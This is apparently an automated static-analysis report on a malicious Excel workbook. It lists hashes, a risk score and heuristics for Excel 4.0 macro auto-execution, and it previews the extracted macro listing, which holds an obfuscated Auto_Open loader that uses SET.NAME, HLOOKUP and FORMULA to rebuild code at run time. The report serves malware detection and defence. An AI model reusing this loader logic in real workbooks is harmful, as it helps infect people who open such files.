Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fec7f1e510bac646…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:32 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: b39f9bc9e89a5e0bd653753607dd6397 SHA-1: 6fec551c9ef3c6e9efef85c4217d2ae38cd8763d SHA-256: fec7f1e510bac646871c9174a14854d9dcc1b2725884a437e3c693c2d4132b67
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: 64230b780ecaeb470e4eb56a3c4bcc263bae3ff78b596c3f12f6425003375989
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dvRviKsttcr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D147 
' 0018     22 LABEL : Cell Value, String Constant - cnLElwm len=0 
' 0018     21 LABEL : Cell Value, String Constant - FnSiec len=0 
' 0018     20 LABEL : Cell Value, String Constant - GQGoL len=0 
' 0018     20 LABEL : Cell Value, String Constant - IxjZy len=0 
' 0018     22 LABEL : Cell Value, String Constant - IXsgFhq len=0 
' 0018     22 LABEL : Cell Value, String Constant - kXAWFXR len=0 
' 0018     25 LABEL : Cell Value, String Constant - mRXwVmmRkD len=0 
' 0018     21 LABEL : Cell Value, String Constant - nmTVIu len=0 
' 0018     25 LABEL : Cell Value, String Constant - oMknaJvLUu len=0 
' 0018     21 LABEL : Cell Value, String Constant - ONNFIM len=0 
' 0018     27 LABEL : Cell Value, String Constant - rlxwFUfeYNCq len=0 
' 0018     22 LABEL : Cell Value, String Constant - uilyuTO len=0 
' 0018     23 LABEL : Cell Value, String Constant - uKPzUOmH len=0 
' 0018     21 LABEL : Cell Value, String Constant - UlVdsx len=0 
' 0018     20 LABEL : Cell Value, String Constant - VBlKy len=0 
' 0018     21 LABEL : Cell Value, String Constant - vcxwzr len=0 
' 0018     27 LABEL : Cell Value, String Constant - vFVXAKUfDUsh len=0 
' 0018     22 LABEL : Cell Value, String Constant - XPFtiOD len=0 
' 0018     20 LABEL : Cell Value, String Constant - yDuik len=0 
' 0018     21 LABEL : Cell Value, String Constant - zMciLE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dvRviKsttcr,D63,"SET.NAME("FnSiec",VALUE("0"))",""
'  dvRviKsttcr,D65,"SET.NAME("GQGoL",FnSiec)",""
'  dvRviKsttcr,D67,"SET.NAME("uKPzUOmH",FnSiec)",""
'  dvRviKsttcr,D70,"SET.NAME("uilyuTO",COUNTA(kXAWFXR))",""
'  dvRviKsttcr,D74,"SET.NAME("XPFtiOD",COUNTA(oMknaJvLUu))",""
'  dvRviKsttcr,D77,[],""
'  dvRviKsttcr,D82,"SET.NAME("VBlKy","")",""
'  dvRviKsttcr,D87,"GQGoL",""
'  dvRviKsttcr,D90,"SET.NAME("ONNFIM",HLOOKUP("*",kXAWFXR,GQGoL,FALSE))",""
'  dvRviKsttcr,D94,"vFVXAKUfDUsh",""
'  dvRviKsttcr,D97,"SET.NAME("yDuik",FnSiec)",""
'  dvRviKsttcr,D99,[],""
'  dvRviKsttcr,D102,"yDuik",""
'  dvRviKsttcr,D105,"UlVdsx",""
'  dvRviKsttcr,D107,"zMciLE",""
'  dvRviKsttcr,D111,"cnLElwm",""
'  dvRviKsttcr,D116,"SET.NAME("IXsgFhq",VALUE(HLOOKUP("*",oMknaJvLUu,cnLElwm,FALSE)))",""
'  dvRviKsttcr,D121,"IxjZy",""
'  dvRviKsttcr,D123,"VBlKy",""
'  dvRviKsttcr,D126,"uKPzUOmH",""
'  dvRviKsttcr,D129,NEXT(),""
'  dvRviKsttcr,D132,"mRXwVmmRkD",""
'  dvRviKsttcr,D134,"SET.NAME("f",INT(T(FORMULA(T(VBlKy)&"",""&T(mRXwVmmRkD)))))",""
'  dvRviKsttcr,D138,"vcxwzr",""
'  dvRviKsttcr,D143,NEXT(),""
'  dvRviKsttcr,D145,RETURN(),""
'  dvRviKsttcr,D167,"SET.NAME("rlxwFUfeYNCq",D63)",""
'  dvRviKsttcr,D169,"kXAWFXR",""
'  dvRviKsttcr,D171,"SET.NAME("oMknaJvLUu",R72C15)",""
'  dvRviKsttcr,D176,"SET.NAME("vcxwzr",187)",""
'  dvRviKsttcr,D181,"SET.NAME("nmTVIu",4)",""
'  dvRviKsttcr,D186,rlxwFUfeYNCq(),""
'  dvRviKsttcr,D187,HALT(),""

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